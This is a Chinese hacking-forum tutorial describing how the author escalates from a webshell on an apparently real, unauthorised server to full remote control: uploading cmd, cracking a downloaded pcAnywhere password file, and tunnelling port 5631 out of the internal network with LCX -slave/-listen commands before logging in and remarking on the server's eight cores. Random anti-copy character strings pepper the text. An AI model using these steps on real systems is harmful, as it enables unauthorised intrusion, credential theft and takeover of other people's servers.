[原创文章] pcanywhere之内网提权

pcanywhere

很多教程都是在外网直接连接的，像我这样的小菜没有这么好的命，我在用pcanywhere提权时问题总是多多，所以我今天做个在内网连接pcanywhere的简单教程。( W; p) `' ?; J9 Q1 N1 s
5 f& h; ]3 @0 |4 Z0 w# W
提权方法：pcanywhere+LCX. @! ]4 @: ^, V1 ]0 y& E
. `  O: M( k5 a7 _2 Z
获得webshell的过程就不说了，该篇教程主要给新手讲下提权的思路。
3 \3 h; T$ B* _9 J  L  k0 W
在shell里看了下，WScript.shell等重要的组件没有被禁用，首先在有可执行读写权限的目录，上传个cmd试下可以运行。0 G/ [* @. A4 J0 N! C5 Y6 L* ?
4 v0 c( M1 {! Z
5 _8 R, O) B$ d& o8 @0 p1 I
查看服务器开的端口时，发现服务器开了80、1433、5631等端口，并且服务器在内网。+ \+ s1 h& K. p) t5 v, c
  E, d8 h2 G) f& B* W
* a0 S( L3 J1 |$ W  I& W
呵呵```pcanywhere的端口为5631，既然该站点有pcanywhere，我们可以试下用pcanywheere提权。于是就查下pcanywhere的目录下账号密码文件，下载到本地计算机上破解，呵呵```账号密码出来了。
; Q8 d7 T6 o2 R( C) b1 x: u
9 c& O( c6 i& Y; w* g3 _+ O; m

由于服务器在内网，那我们就要做端口转发，又要用到LCX啦``
& b, P1 C& E! g, p$ D
- M! g( t, K) I7 k
LCX的用法再简单说下：
5 p2 i. M7 |/ {
服务器上运行：lcx -slave XXX.XXX.XXX.XXX(你自己公网ip) XX(端口号) XXX.XXX.XXX.XXX（服务器ip） XXXX（服务器需要转发出去的端口）* t/ z# t7 q, ^/ ]: H: T6 H

本地计算机上运行：lcx -listen XX(端口号) XXX（在自己机器上指定的端口）! d* ^8 b( f) s( H1 ]! r

由于我的机器也在内网，LCX 转发端口到本地必须用公网ip，所以我还需要在路由器上简单设置下。) _1 ?1 c- _. d  L
顺便说下如果大家的机器在外网就不必再做端口映射之类的啦``# N2 i- ]7 j, u& d
' V1 ]1 @2 }* f7 z+ F
  i/ r, x+ c4 z) d, ~
: D$ h2 c8 }# S( A2 W* f1 C
2 a- L9 R9 x0 _! u8 M: L* ~- b- {
呵呵``在连接的过程中出现个小问题，由于我用的是pcanyshell10.5的版本，在连接的时候提示版本过低，那我们就用12.0的版本试下。
, S# p$ y& T4 v, j3 n. A% c

: p9 U, V8 @) {3 s/ D2 y, \7 N
! l  W8 q2 V" o$ \5 t/ U" Y
我们本地连接试试，输入我们刚破解的账号密码  C( b- l+ B$ l0 `
7 g3 C; E0 Z7 X6 g) a$ [% r/ o

呵呵``连接成功,服务器不错，又一个8核^︵^& s( k# r) N: K' Z/ [
4 [3 ]# x; ]- M& x
7 \7 O/ q% Q& b# s( e
2 n8 x6 f& {, }. D7 k6 {* ?

附件: 您需要登录才可以下载或查看附件。没有帐号？注册

1 评分人数